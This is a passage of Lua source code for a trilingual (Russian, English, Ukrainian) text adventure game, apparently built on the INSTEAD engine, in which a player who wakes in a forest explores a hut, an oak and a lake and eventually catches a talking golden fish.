[[ ]] }, inplaceofrespawnUA = { [[Ти повернувся на місце ... чого?]], [[Тут, звичайно, цікаво стояти і розглядати ліс. Але, може, краще кудись піти і з'ясувати, де ж ти знаходишся?]], [[Цікаво тут, чи не так?]], [[Загін не помітив втрати бійця ... Тебе хоч почнуть шукати?]], [[Скільки ти проживеш в лісі, без їжі і води?]], [[Тут є хто живий?]], [[Іди-іди, не затримуйся.]], [[Казка брехня, але в ній натяк... Ні, в твоєму випадку казка - чиста правда.]], [[Ліс - джерело життя, сили і здоров'я. Але не для всіх і не завжди. Для тебе він зараз - загроза.]], [[Не пий, братику, воду з озера місцевого - козликом станеш.]], [[З місця, де пишуть "проходу немає" - логічніше йти в місце, де він таки є. А ти зараз на півдорозі.]], [[Що залишиться після тебе?]], [[Якщо треба вибрати між добром і злом - що б ти вибрав?]], [[Ця історія перевірить, чого ти вартий...]], [[Якщо в твоєму серці добрі наміри - ти залишишся живий.]], [[Чому все так криво написано?]], [[Чи варто заборонити людині брехати? Якби це було можливо.]], [[Чи потрібна вільна воля, що призводить до страждання і несправедливості?]], [[Ти голодний, знаєш це?]], [[Ти не боїшся, що зараз із-за повороту вибіжить вовк і з'їсть тебе?]], [[Ти згадуєш, як затишно і безпечно зараз вдома...]], [[І все ж дивно все це...]], [[Ти віриш у казки?]], [[Хто ти? Як зрозуміти тебе? Про що ти думаєш, блукаючи по цим лісових чагарниках?]], [[Рух - це життя. Не можна стояти на місці - вростеш в землю.]], [[Я щиро захоплююся тим, що ти читаєш всі ці фрази. Продовжуй.]], [[Яка ти, дорога життя?]], [[Однак. Ходять тут всякі. Замість того, щоб справою зайнятися і врятувати себе.]], [[Вітаю. Ти так часто повертаєшся в це місце, що витратив усі фрази, які автор для тебе заготовив. Може, він зробив щось не так? Або ти виявився допитливим.]], [[ ]] } } function inc(a) return a + 1 end; -- на всякий случай, может пригодятся function dec(a) return a - 1 end; obj { nam = 'maintain'; -- делаем игрока голодным, если долго ходил, и управление вечером disp = false; on = false; life = function(s) statnumcalc(); setstatword(); deletestatus(); if not weareincontrol and not nearstone and passedintro and not seen('replay', here() ) and not seen('death', here() ) then createstatus(); end theme.gfx.bg (bg_name) if player_moved() then s.on = false; countflush = countflush+1; if countflush > 150 then countflush = 0 end; -- if mukaest then eveningenabled = true; end; -- проверял, работает ли. теперь по определенному триггеру можно включить вечер if wasinvillage and countflush >= 15 then hungry = 0 countflush = 0 end; if fadingcanbe then instead.fading = true; end; -- включаем фейдинг после показа инфобара. по правде, я смутно понимаю, как всё работает, но вроде глюков нет. этот код нужен, чтобы при показе и убирании инфобара фейдинга не было, потому, что такое поведение у главного меню, а мы косим под встроенные менюшки. if clickonsceneenabled == false and not firststart and not weareincontrol and not here():type 'dlg' then createclickonscene(); theme.gfx.bg (bg_name) end; return end; end; } room { -- Здесь начинается наше путешествие, небольшая предыстория forcedsc = true; nam = 'main'; noinv = true; title = function() if ru then return 'Вступление'; end; if en then return 'Intro'; end; if ua then return 'Вступ'; end; end; pic = 'gfx/0.png'; enter = function() snd.music 'mus/Beginning.ogg' bg_name = 'gfx/bg_intro.png' theme.gfx.bg (bg_name) deletebutton(); createruslang(); createenglang(); createukrlang(); end; exit = function() instead.fading = true; createbutton(); createclickonscene(); deleteruslang(); deleteenglang(); deleteukrlang(); end; dsc = function() if ru then p [[ Ты уснул, как обычно, к полуночи. Сон был беспокойный, грезились инопланетяне, склонившиеся над головой, но как только просыпался в ужасе - видел всё ту же привычную комнату. Успокоившись, что мир за время твоего сна никуда не делся, ты снова засыпал. Так несколько раз... Но в конце-концов - страхи имеют свойство материализоваться. Уже сквозь сон ты услышал, что воздух стал чище, холоднее. Что-то не так. Ты резко открыл глаза... {@ walk start|Дальше...}]] end; if en then p [[ You fell asleep, as usual, by midnight. The dream was restless, aliens were dreaming, bending over your head, but as soon as you woke up in horror, you saw the same familiar room. Having calmed down that the world during your sleep has not gone away, you fell asleep again. So several times... But in the end - fears tend to materialize. Already through a dream, you heard that the air has become cleaner, colder. Something is wrong. You abruptly opened your eyes... {@ walk start|Next...}]] end; if ua then p [[ Ти заснув, як зазвичай, до півночі. Сон був неспокійний, марилися інопланетяни, які схилилися над головою, але як тільки ти прокидався в жаху - ти бачив все ту ж звичну кімнату. Заспокоївшись, що світ за час твого сну нікуди не подівся, ти знову засинав. Так кілька разів... Але в кінці-кінців - страхи мають властивість матеріалізуватися. Вже крізь сон ти почув, що повітря стало чистішим, холоднішим. Щось не так. Ти різко відкрив очі... {@ walk start|Далі...}]] end; end; } room { nam = "start"; title = function() if ru then return 'Развилка'; end; if en then return 'Crossroads'; end; if ua then return 'Перехрестя'; end; end; pic = 'gfx/1.png'; enter = function() snd.music 'mus/Atlantis.ogg' if firststart then snd.play('snd/breath.ogg', 1) end bg_name = 'gfx/bg.png' theme.gfx.bg (bg_name) passedintro = true; current_ru = 'Ты нажал на область сцены. Здесь просто картинка. Но в каждом новом месте - свой комментарий.'; current_en = 'You clicked on the scene area. Here is just a picture. But in each new place - a new comment.'; current_ua = 'Ти натиснув на область сцени. Тут просто зображення. Але в кожному новому місці - новий коментар.'; end; dsc = function (i) if firststart then if ru then p [[А комнаты-то нет!!!]] end if en then p [[But there is no any room!!!!]] end if ua then p [[А кімнати-то немає!!!]] end firststart = false otherstarts = true return end if otherstarts then if ru then if not repeatplease then counter = (counter +1)%#inplaceofrespawnRU repeatplease = false; end end if en then if not repeatplease then counter = (counter +1)%#inplaceofrespawnEN repeatplease = false; end end if ua then if not repeatplease then counter = (counter +1)%#inplaceofrespawnUA repeatplease = false; end end if ru then return p(inplaceofrespawnRU[counter]) end -- пишем всякие сообщения при заходе на развилку if en then return p(inplaceofrespawnEN[counter]) end if ua then return p(inplaceofrespawnUA[counter]) end end end; decor = function() if ru then return "Ты в лесу! Деревья закрывают все пути отступления, есть лишь расхоженная тропа, на которой ты стоишь. Ты можешь пойти налево, направо, а можешь пойти прямо - в центре развилки растет огромный {dub|дуб}. Еще можно развернуться и пойти назад. "; end; if en then return "You are in the forest! Trees block all escape routes, there is only a well-groomed path on which you stand. You can go left, right, or you can go straight ahead - a huge {dub|oak} grows in the center of the crossway. You can still turn around and go back. "; end; if ua then return "Ти в лісі! Дерева закривають всі шляхи до відступу, є лише росходжена стежка, на якій ти знаходишся. Ти можеш піти наліво, направо, а можеш піти прямо - в центрі перехрестя росте величезний {dub|дуб}. Ще можна розвернутися й піти назад. "; end; end; obj = {'dub'}; way = {path {function() if ru then return 'Налево' end if en then return 'Left' end if ua then return 'Наліво' end end, after = function() if ru then return 'К хижине' end if en then return 'To house' end if ua then return 'До хатини' end end, 'leftway'}, path {function() if ru then return 'Прямо' end if en then return 'Straight' end if ua then return 'Прямо' end end, after = function() if ru then return 'К дубу' end if en then return 'To oak' end if ua then return 'До дуба' end end, 'centerway'}, path {function() if ru then return 'Направо' end if en then return 'Right' end if ua then return 'Направо' end end, after = function() if ru then return 'К озеру' end if en then return 'To lake' end if ua then return 'До озера' end end, 'rightway'}, path {function() if ru then return 'Назад' end if en then return 'Back' end if ua then return 'Назад' end end, after = function() if ru then return 'К обрыву' end if en then return 'To fall' end if ua then return 'До пропасті' end end, 'back'} }; } room { nam = 'leftway'; title = function() if ru then return 'Хижина'; end; if en then return 'Humpy'; end; if ua then return 'Хатина'; end; end; pic = function(s) if holeway and brokenwithtopor and haveudochka then return 'gfx/3_2brokenwithout.png' elseif holeway and brokenwithtopor and not haveudochka then return 'gfx/3_2broken.png' elseif holeway and not brokenwithtopor then return 'gfx/3_2.png' elseif not holeway and brokenwithtopor and haveudochka then return 'gfx/3brokenwithout.png' elseif not holeway and brokenwithtopor and not haveudochka then return 'gfx/3broken.png' elseif not holeway and not brokenwithtopor then return 'gfx/3.png' end end; enter = function() snd.music 'mus/Atlantis.ogg' if holeway then enable '#hole' end; current_ru = 'Ты возле хижины.'; current_en = "You're near the hut."; current_ua = 'Ти біля хатини.'; end; decor = function(l) if ru then p [[Ты видишь старую хижину, которую построили, наверное, еще до революции. Она перекосилась, и только густой лес своими могучими ветвями не позволяет ей развалиться.]]; end; if en then p [[You see the old hut, which was probably built a very long time ago. It warped, and only a dense forest with it's mighty branches does not allow hut to fall apart.]]; end; if ua then p [[Ти бачиш стару хатину, яку побудували, мабуть, ще до революції. Вона перекосилась, і тільки густий ліс своїми могутніми гілками не дозволяє їй розвалитися.]]; end; if ru then if not brokenwithtopor then p [[Но {door|дверь} цела и петли на месте. Кузнец знал своё дело.]] end; end; if en then if not brokenwithtopor then p [[But the {door|door} is not broken and it's hinges are in place. The blacksmith knew his job.]] end; end; if ua then if not brokenwithtopor then p [[Але {door|двері} цілі й петлі на місці. Коваль знав свою справу.]] end; end; if ru then if brokenwithtopor then p [[На месте двери зияет проход внутрь.]] end; end; if en then if brokenwithtopor then p [[In place of the door there is a gap inward.]] end; end; if ua then if brokenwithtopor then p [[На місці двері зяє прохід всередину.]] end; end; if ru then if seen('holeopened','leftway') then p [[^Слева от хижины, между деревьев, ты видишь проход! Деревья словно расступились и теперь между ними есть проём, в который ты можешь пройти.]] end end; if en then if seen('holeopened','leftway') then p [[^To the left of the hut, between the trees, you see the passage! The trees seemed to have parted and now there is an opening between them that you can pass into.]] end end; if ua then if seen('holeopened','leftway') then p [[^Зліва від хатини, між дерев, ти бачиш прохід! Дерева ніби розступилися і тепер між ними є простір, в який ти можеш пройти.]] end end; end; way = {path {'Развилка', 'start'}, path {'#hole','В проем','trees'}:disable() , path {'#door','В дом','inhouse'}:disable() }; }:with { obj { nam = 'hole'; }; obj { nam = 'door'; act = function(k) if not disabled '#door' then p [[Дверь открыта, замок снят.]] return end p [[На двери висит старый ржавый замок. Несмотря на это, механизм цел.]] end; used = function (s, w) if w^'fonarik' then p [[Ты зачем-то посветил на дверь при свете дня, и лишний раз убедился, что без ключа замок не открыть.]] return elseif w^'topor' and not openedwithkey then p [[Ты изрубил дверь топором, сделать это было легко. Старые трухлявые доски разлетелись в стороны. Путь открыт. Ну ты и варвар! Сюда же теперь будет попадать дождь, снег...]] evil = evil+1; snd.play('snd/axe.ogg', 1) enable '#door' brokenwithtopor = true wr = wr+1; test(); return elseif w^'topor' and openedwithkey then p [[Ты зачем-то сломал дверь, хотя она была открыта, и не было необходимости делать это. Ну ты и варвар! Сюда же теперь будет попадать дождь, снег...]] evil = evil+1; snd.play('snd/axe.ogg', 1) brokenwithtopor = true return elseif w^'key' and not brokenwithtopor then p [[Замок скрипнул, захрустел, но поддался. Ты открыл дверь.]] good = good+1; snd.play('snd/key_door.ogg', 1) openedwithkey = true; wr = wr+1; test(); enable '#door' remove ('key') return end return false; end }; }; room { nam = 'inhouse'; title = 'В хижине'; pic = function(s) -- показываем нужное состояние в комнате, в зависимости от того, какие предметы взял игрок if havelopata and havevedro and haveudochka then return 'gfx/inhouse/7.png' elseif havelopata and havevedro and not haveudochka then return 'gfx/inhouse/11.png' elseif havelopata and not havevedro and not haveudochka then return 'gfx/inhouse/8.png' elseif havevedro and haveudochka and not havelopata then return 'gfx/inhouse/10.png' elseif havevedro and not haveudochka and not havelopata then return 'gfx/inhouse/9.png' elseif haveudochka and havelopata and not havevedro then return 'gfx/inhouse/14.png' elseif haveudochka and not havevedro and not havelopata then return 'gfx/inhouse/13.png' else return 'gfx/inhouse/6.png'; end end; enter = function() snd.music 'mus/HouseOfEvil.ogg' if not brokenwithtopor and not temphide then snd.play('snd/dooropen.ogg', 1) end current_ru = 'Ты в доме.'; current_en = "You're in the hut."; current_ua = 'Ти в хатині.'; end; onexit = function(a) snd.stop_music(); if not brokenwithtopor and not temphide then snd.play('snd/dooropen.ogg', 1) end end; decor = [[Несмотря на запущенность строения, внутри эта хижина выглядит лучше, чем снаружи. Сквозь окно проникает достаточно света, чтобы осветить единственную комнату.]]; obj = {'lopata', 'komod', 'vedro', 'udochka'}; way = {path {'Наружу', 'leftway'} }; } room { nam = 'centerway'; title = 'Дуб'; pic = 'gfx/2.png'; enter = function() current_ru = 'Ты возле дуба.'; current_en = "You're near the oak."; current_ua = 'Ти біля дуба.'; end; decor = [[Ты видишь огромный дуб. В центре дуба зияет черное {light|дупло}, здесь, наверное, кто-то живет.]]; way = {path {'Развилка', 'start'} }; }:with { obj { -- Дупло. nam = 'light'; act = function (k) if not have 'fonarik' then p [[В дупле больше ничего нет.]] return end p [[Ты осмотрел дупло, но там темно, и ничего не видно.]] end; used = function (s, w) if w^'topor' then p [[Что, как, и зачем?..]] return end if w^'key' then p [[Зачем возвращать ключ в дупло?]] return elseif w^'fonarik' then p [[Ты посветил фонариком. Оттуда внезапно выскочила белка и убежала. Ты пожалел, что испугал бедное животное. Но что теперь поделать. В дупле лежал... ключ.]] -- snd.play('snd/SQ2.ogg', 1) snd.play('snd/flashlight.ogg', 1) replace('fonarik', 'key') touchedkey = true; if not touchedtopor then wr = wr+1; test(); end; return end return false; end }; } room { nam = 'rightway'; title = "Озеро"; pic = function(s) if vedrostand then return 'gfx/4_2.png' else return 'gfx/4.png'; end end; enter = function() current_ru = 'Ты возле озера.'; current_en = "You're near the lake."; current_ua = 'Ти біля озера.'; end; obj = {'lake', 'bereg'}; -- 'walkfish' way = {path {'Развилка', 'start'} }; } room { nam = 'back'; title = 'На краю...'; pic = function(s) if stonebreak then return 'gfx/5_2.png'; else return 'gfx/5.png'; end end; enter = function() current_ru = 'Ты возле пропасти.'; current_en = "You're near the fall."; current_ua = 'Ти біля прірви.'; end; decor = 'Ты у пропасти. Впереди - большие и маленькие камни, подъемы и спуски, но всё это опасно. Идти туда - риск, да и на горизонте не видно каких-либо построек... Вдали, на самом дне {dolina|долины} - огромными буквами выбито - прохода нет. Ты поневоле задумываешься, как же попал сюда?'; obj = {'valun', 'топор', 'dolina'}; way = {path {'Развилка', 'start'} }; } obj { nam = 'dolina'; act = function() if ru then p[[Тот глупец, кто осмелится {down|спуститься} туда, погибнет...]]; end; if en then p[[That fool who dares {down|go down} there, will perish...]]; end; if ua then p[[Той дурень, що наважиться {down|спуститися} туди, загине...]]; end; end; }:with {'down'} obj { nam = 'down'; act = function() if not fallen and attention then walkin ('indown') elseif not fallen and not attention and ru then p 'Уверен? Повтори, если да.' attention = true elseif not fallen and not attention and en then p 'Are you sure? Repeat if yes.' attention = true elseif not fallen and not attention and ua then p 'Упевнений? Повтори, якщо так.' attention = true elseif ru then p 'Ты хочешь снова умереть? Бедняга.' elseif en then p 'Do you want to die again? Poor fellow.' elseif ua then p 'Ти хочеш знову померти? Бідолашний.' end; end; } room { nam = 'indown'; noinv = true; enter = function(s) bg_name = 'gfx/bg_death.png' theme.gfx.bg (bg_name) fallen = true; deletebutton(); timer:set(death_time); createredbar(); end; timer = function(s) timer:stop(); deleteredbar(); theme.gfx.bg (bg_name) end; exit = function() bg_name = 'gfx/bg.png' theme.gfx.bg (bg_name) createbutton(); end; title ='Всё...'; pic = 'gfx/44.png'; decor = 'Ты погиб!'; }:with {'replay'} obj { nam = 'replay'; dsc = function() p ( fmt.c('{@ walkout|Переиграть?}') ); end; act = function() walk () end; } obj { nam = 'fonarik'; disp = function() if ru then return fmt.img('gfx/inv/fonarik.png')..'Фонарик'; end; if en then return fmt.img('gfx/inv/fonarik.png')..'Flashlight'; end; if ua then return fmt.img('gfx/inv/fonarik.png')..'Ліхтарик'; end; end; inv = function() clickmute = true; if isusercozel then waycounter = waycounter+1 snd.play('snd/sheep.ogg', 1) if ru then return p'Ты попробовал взять фонарик в зубы, но это не очень хорошо получилось) Увы и ах.' end; if en then return p'You tried to take a flashlight in your teeth, but it didn’t work out very well) Alas.' end; if ua then return p'Ти спробував взяти ліхтарик в зуби, але це не дуже добре вийшло) На жаль.' end; else if ru then return p 'Привычка держать в кармане маленький китайский динамо-фонарь на этот раз оказалась очень даже кстати.' end; if en then return p 'The habit of holding a small Chinese dynamo flashlight in my pocket this time turned out to be very helpful.' end; if ua then return p 'Звичка тримати в кишені маленький китайський динамо-ліхтар на цей раз виявилася дуже навіть до речі.' end; end end; } obj { nam = 'key'; disp = function() if ru then return fmt.img('gfx/inv/key.png')..'Ключ'; end; if en then return fmt.img('gfx/inv/key.png')..'Key'; end; if ua then return fmt.img('gfx/inv/key.png')..'Ключ'; end; end; inv = function() clickmute = true; if ru then if isusercozel then p 'И зачем он теперь тебе?' waycounter = waycounter+1 snd.play('snd/sheep.ogg', 1) elseif brokenwithtopor then p 'Теперь он тебе не нужен. Ты же поспешил, начал всё крушить, ломать!' else p 'Старый, большой ключ.' end end if en then if isusercozel then p 'И зачем он теперь тебе?' waycounter = waycounter+1 snd.play('snd/sheep.ogg', 1) elseif brokenwithtopor then p 'Now you don’t need it. Bcause you hurried, started to destroy everything, to break!' else p 'Old, big key.' end end if ua then if isusercozel then p 'И зачем он теперь тебе?' waycounter = waycounter+1 snd.play('snd/sheep.ogg', 1) elseif brokenwithtopor then p 'Тепер він тобі не потрібен. Ти ж поспішив, почав все трощити, ламати!' else p 'Старий, великий ключ.' end end end; } obj { nam = 'lopata'; disp = fmt.img('gfx/inv/lopata.png')..'Лопата'; dsc = 'Возле окна стоит {lopata|лопата}.'; inv = function() clickmute = true; if isusercozel then p 'Ты даже копать теперь не можешь! Какое горе...' waycounter = waycounter+1 snd.play('snd/sheep.ogg', 1) else p 'Обычная, хотя и ржавая уже, лопата. Но копать еще можно.' end end; tak = function (k) p [[Ты взял лопату.]]; wr = wr+1; test(); havelopata = true; return end; } obj { nam = 'рыболовные снасти'; dsc = [[В комоде есть {рыболовные снасти}.]]; disp = fmt.img('gfx/inv/leska.png')..'Снасти'; inv = function() clickmute = true; if isusercozel then p 'Смотри, не изрань мордочку!' waycounter = waycounter+1 snd.play('snd/sheep.ogg', 1) else p 'Рыболовные снасти. Леска для удочки, крючки, поплавок.' end end; tak = function (k) p [[Ты взял рыболовные снасти.]]; wr = wr+1; test(); return end; used = function (n, z) if z^'chervi' then p [[Нет смысла надевать червя на крючок, который не на удочке...]] return end; if z^'udochka' then p [[Ты собрал удочку.]]; wr = wr+1; test(); snd.play('snd/leskaiudochka.ogg', 1) remove ('рыболовные снасти') replace ('udochka', 'udsobr') return end return false; end } obj { nam = 'komod'; -- комод в хижине dsc = [[Старый {komod|комод} ютится в углу.]]; used = function (n, z) if z^'рыболовные снасти' then p [[Они еще пригодятся.]]; return end return false; end; act = function(s) if ( have('рыболовные снасти') or have('udochka_with_chervi') or have('udsobr') ) then p [[Комод пуст.]] elseif closed(s) then open(s) clickmute = true snd.play('snd/drawer.ogg') else close(s) clickmute = true snd.play('snd/drawer.ogg') close(s) end end; obj = { 'рыболовные снасти'} } close ('komod') obj { nam = 'vedro'; dsc = 'За кроватью стоит маленькое {vedro|ведерко}.'; disp = fmt.img('gfx/inv/vedro.png')..'Ведро'; inv = function() clickmute = true; if isusercozel then p 'Ты утолил жажду. Но какой ценой?!' waycounter = waycounter+1 snd.play('snd/sheep.ogg', 1) else p 'Ведро из нержавеющей стали. Пустое.' end end; tak = function (k) p [[Ты взял ведро.]]; wr = wr+1; test(); havevedro = true; return end; } obj { nam = 'udochka'; -- первая итерация удочки dsc = 'Над кроватью висит... {udochka|удочка}!'; disp = fmt.img('gfx/inv/udochka.png')..'Удочка'; inv = function() clickmute = true; if isusercozel then p 'Тебе она без надобности.' waycounter = waycounter+1 snd.play('snd/sheep.ogg', 1) else p 'Бамбуковая удочка. Давно таких не видел. Нужны снасти.' end end; tak = function (k) p [[Ты аккуратно снял удочку.]]; wr = wr+1; test(); haveudochka = true; return end; used = function (n, z) if z^'topor' then p [[Сломать единственную удочку, когда тебе угрожает смерть от голода? Оригинально!]] return end if z^'chervi' then p [[Сначала надо собрать удочку.]] return elseif z^'рыболовные снасти' then p [[Ты собрал удочку.]]; wr = wr+1; test(); snd.play('snd/leskaiudochka.ogg', 1) remove ('рыболовные снасти') replace ('udochka', 'udsobr') return end return false; end } obj { nam = 'ground'; disp = 'земля'; dsc = 'Под валуном сырая {ground|земля}.'; act = function(b) if not have 'chervi' then p [[Земля под валуном - самое удобное место, чтобы накопать червей.]] return end end; used = function (n, z) if z^'lopata' then p [[Ты приложил все свои усилия и с трудом, но сумел сдвинуть валун с места. Тяжелый камень с затихающим звуком покатился вниз. Ты принялся копать землю и вскоре собрал несколько червей.]] snd.play('snd/kamen.ogg', 1) wr = wr+1; test(); stonebreak = true; disable 'valun' replace ('lopata', 'chervi') return end return false; end } obj { nam = 'valun'; dsc = 'Большой {valun|валун} расположен прямо на краю пропасти.'; used = function (n, z) if z^'topor' and firsttopor then p [[Ты наточил топор.]] firsttopor = false snd.play('snd/zatochil.ogg', 1) return elseif z^'topor' and secondtopor then p [[Ты снова наточил топор.]] secondtopor = false snd.play('snd/zatochil.ogg', 1) return elseif z^'topor' and thirdtopor then p [[Достаточно.]] return elseif z^'lopata' then p [[Лопатой об камень? Придумай что-нибудь умнее.]]; return end return false; end; act = function(t) if closed(t) then open(t) else close(t) end end; obj = { 'ground'}; } close ('valun'); obj { nam = 'chervi'; disp = fmt.img('gfx/inv/chervi.png')..'Черви'; inv = function() clickmute = true; if isusercozel then p 'Ты теперь травоядное ;)' snd.play('snd/sheep.ogg', 1) else p 'Эти черви, наверное, никогда не видели солнца, пока ты их не достал.' end end; used = function (n, z) if z^'udsobr' or z^'udochka' then p [[Логичнее воздействовать малым предметом на больший, не находишь? :)]] return end return false; end } obj { --собранная удочка, вторая итерация удочки nam = 'udsobr'; disp = fmt.img('gfx/inv/sobr_udochka.png')..'Удочка'; inv = function() clickmute = true; if isusercozel then p 'Тебе она без надобности. Смотри, не поранься о снасти!' waycounter = waycounter+1 snd.play('snd/sheep.ogg', 1) else p 'Пора на рыбалку? Нужна наживка.' end end; used = function (n, z) if z^'topor' then p [[Сломать единственную удочку, когда тебе угрожает смерть от голода? Оригинально! А ведь ты уже собрал ее, остался всего шаг...]] return end if z^'chervi' then p [[Ты аккуратно нанизал червя на крючок.]]; wr = wr+1; test(); remove ('chervi') replace ('udsobr', 'udochka_with_chervi') return end return false; end } obj { -- озеро nam = 'lake'; dsc = function (r) p [[Ты видишь {lake|озеро}, которое обросло камышом. Его {bereg|берег} как будто создан для рыбалки. ]] if seen('vedrofull','rightway') then p [[На берегу озера стоит {vedrofull|ведро с водой}.]] end end; act = function(s) if not holeway then p "От озера веет чем-то таинственным. Водная гладь манит тебя... А что, если разгадка твоего появления здесь - как-то связана с ним?" else p [[А ведь как всё хорошо начиналось... Некоторые тайны лучше и не знать. Но теперь - только в путь...]] end end; used = function (s, w) if (w^'udochka' or w^'udsobr') and firsttime then p [[Ты помыл в озере удочку от пыли. Держать ее в руках стало приятнее.]] firsttime = false snd.play('snd/water_lake_udochka.ogg', 1) return elseif (w^'udochka' or w^'udsobr') and secondtime then p [[Ты второй раз окунул удочку в озеро. Она чиста до блеска.]] secondtime = false snd.play('snd/water_lake_udochka.ogg', 1) return elseif (w^'udochka' or w^'udsobr') and thirdtime then p [[Ты третий раз намочил удочку. Тебе что, заняться нечем?!]] thirdtime = false snd.play('snd/water_lake_udochka.ogg', 1) return elseif w^'udochka' or w^'udsobr' then p [[Ты уже помыл удочку много раз. Сделай что-нибудь другое.]] return elseif (w^'udochka_with_chervi' and not vedrostand and not vedrowithwater ) then p [[А куда ты собрался девать рыбу, когда словишь ее?]] return elseif (w^'udochka_with_chervi' and not vedrostand ) then p [[И удобно так рыбачить, держа в одной руке ведро, полное воды, а в другой удочку?]] return elseif (w^'udochka_with_chervi' and vedrostand and frsttime ) then p[[Наконец-то! Ты закинул удочку в озеро. Через некоторое время тебе показалось, что поплавок задергался. Ты потянул за удочку, но выловил только листик какого-то ненужного тебе растения. Может, стоит попытаться снова? ]] frsttime = false snd.play('snd/zakinul.ogg', 1) wr=wr+1; test(); return elseif (w^'udochka_with_chervi' and vedrostand and scndtime ) then p[[Ты второй раз закинул удочку. Долго сидел, выжидал. Наконец, увидел - клюет! Ты аккуратно, правильным движением подкосил удочку, и... снова неудача. Да что же такое? ]] scndtime = false snd.play('snd/zakinul.ogg', 1) wr=wr+1; test(); return elseif (w^'udochka_with_chervi' and vedrostand and thrdtime ) then clickmute = true snd.play('snd/zakinul.ogg', 1) walk 'goldfishdlg' wr=wr+1; test(); return elseif w^'key' and not brokenwithtopor then p [[Глупо выбрасывать ключ, он еще пригодится.]] return elseif w^'key' and brokenwithtopor then p [[Ты выбросил ненужный теперь ключ в озеро...]] remove('key') snd.play('snd/zakinul.ogg', 1) return elseif w^'vedrofull' then p [[В ведре уже есть вода.]] return elseif w^'vedro' then p [[Аккуратно нагнувшись, чтобы не упасть, ты набрал в ведро воды из озера.]] vedrowithwater = true snd.play('snd/awaterlap.ogg', 1) if firstfill then wr = wr+1; test(); firstfill = false end replace('vedro', 'vedrofull') return end return false; end } obj { -- ведро с водой. nam = 'vedrofull'; act = function (k) if not holeway then p [[Ух, порыбачим!]] else p [[Вот тебе и рыбалка...]] end return end; used = function (n, z) if z^'udochka' then p [[Нельзя словить рыбку в ведре. Особенно, если на удочке нет снастей.]] return elseif z^'udsobr' then p [[Нельзя словить рыбку в ведре. Особенно, если ловить без наживки.]] return elseif z^'udochka_with_chervi' then p [[Нельзя словить рыбку в ведре. Особенно, если ее там нет.]]; return end return false; end; disp = fmt.img('gfx/inv/vedrofull.png')..'Ведро'; inv = function() place('drinkplease'); pleasedrink = true; end } obj { nam = 'drinkplease'; dsc = function() if pleasedrink and seen('lake') then p [[^^Не пей, братец, козленочком станешь :) Но {возможность} у тебя никто не отбирает.]] pleasedrink = false end if pleasedrink and seen('komod') then p [[^^Не пей, братец, козленочком станешь :) Но {возможность} у тебя никто не отбирает.]] pleasedrink = false end if pleasedrink and seen('dolina') and not stonebreak and not have('topor') then p [[^^Не пей, братец, козленочком станешь :) Но {возможность} у тебя никто не отбирает.]] pleasedrink = false end if pleasedrink and seen('dolina') and not stonebreak and have('topor') then p [[^^Не пей, братец, козленочком станешь :) Но {возможность} у тебя никто не отбирает.]] pleasedrink = false end if pleasedrink and seen('dolina') and stonebreak and not have('topor') then p [[^^Не пей, братец, козленочком станешь :) Но {возможность} у тебя никто не отбирает.]] pleasedrink = false end if pleasedrink and seen('dolina') and stonebreak and have('topor') then p [[Не пей, братец, козленочком станешь :) Но {возможность} у тебя никто не отбирает.]] pleasedrink = false end if pleasedrink then p [[Не пей, братец, козленочком станешь :) Но {возможность} у тебя никто не отбирает.]] pleasedrink = false end end; act = function(s) walk('kozel') end } obj { -- дуб nam = 'dub'; used = function (n, z) if z^'topor' then if ru then p [[И зачем?!]] end if en then p [[And why?!]] end if ua then p [[І навіщо?!]] end return elseif z^'fonarik' then if ru then p [[Надо подойти поближе.]] end if en then p [[It is necessary to come closer.]] end if ua then p [[Треба підійти ближче.]] end return end return false; end; act = function (k) if ru then p [[Огромное такое дерево, на пол дороги. Наверное, оно очень старое...]]; end; if en then p [[A huge tree on the half of the road. It’s probably very old...]]; end; if ua then p [[Величезне таке дерево, на пів дороги. Напевно, воно дуже старе...]]; end; return end; } obj { -- удочка с нанизанным червем - третья итерация удочки nam = 'udochka_with_chervi'; disp = fmt.img('gfx/inv/udochkawithchervi.png')..'Удочка'; inv = function() clickmute = true; if isusercozel then p 'Тебе она без надобности. Смотри, не поранься о снасти! И оставь червя в покое! Брр...' waycounter = waycounter+1 snd.play('snd/sheep.ogg', 1) else p 'Ловись, рыбка, большая и маленькая!' end end; used = function (n, z) if z^'topor' then p [[Сломать единственную удочку, когда тебе угрожает смерть от голода? Оригинально! А ведь можно закинуть ее в озеро, и...]] return end return false; end; } obj { -- берег озера nam = 'bereg'; used = function (n, z) if z^'lopata' then p [[Ты попытался накопать здесь червей, но у тебя ничего не получилось. Земля слишком плотная, сбитая, как камень. Надо поискать другое место.]] return elseif z^'vedro' then p [[Если ты хочешь порыбачить, то сначала набери воды в ведро.]] return elseif (z^'udochka_with_chervi' or z^'udochka' or z^'udsobr') then p [[Бросить отличную удочку на берег? Зачем?]] return elseif z^'vedrofull' then p [[Ты поставил ведро на берегу озера.]] place('vedrofull', 'rightway') vedrostand = true wr = wr+1; test(); return end return false; end; act = function (k) p [[На берегу лесного озера ты не нашел ничего интересного.]]; return end; } obj { nam = 'walkfish'; disp = 'Рыбка'; act = function (k) walk 'goldfishdlg' return end; } dlg { nam = 'goldfishdlg'; -- Разговор с золотой рыбкой noinv = true; title = false; pic = 'gfx/7.png'; enter = function() deletebutton(); p [[Ты в третий раз закинул удочку. Волны озера разошлись в стороны, пропуская рыбу, которую ты так бесцеремонно вытащил на берег. Только когда она попала тебе в руки, ты понял, что рыбка-то не обычная, а золотая! И говорящая! Ты аккуратно снял крюк... ^ -- Кто же так с рыбками-то обращается? - золотая рыбка нервно и обижено смотрела на тебя своими мудрыми глазами, из-за ран, которые ты ей нанес. -- Так-так, так. И где же твой невод?]] snd.music 'mus/TheAngelsWeep.ogg' bg_name = 'gfx/bg_talk.png' theme.gfx.bg (bg_name) end; exit = function() snd.music 'mus/Atlantis.ogg' bg_name = 'gfx/bg.png' theme.gfx.bg (bg_name) clickmute = true; snd.play('snd/awaterplouffff.ogg'); createbutton(); end; phr = { -- открыл диалог {'Невод? Какой невод?', '-- Ты сказки в детстве читал? Старик был один, добрый, но старуху слушался... Пошел он однажды в море, закинул невод... один раз закинул, второй... А на третий словил меня. А я чудеса творить умею. Силы морские, да и всей Земли, подвластны мне. Не потому, что я царица морская, а потому, что у природы всё едино... Та история закончилась не очень хорошо. Хотя старик и не виноват ни в чем. Но вот сейчас я снова на берегу -- поэтому и спрашиваю -- где твой невод? Что за варварские методы нынче пошли? Рыба тоже чело... рыба. Рыба тоже живое существо.', {'Ну... я... ээ... Заблудился я, в общем. Уснул дома, правда, спал плохо... Но когда открыл глаза - оказался здесь, в лесу. Не знаю, почему и каким образом перенесся 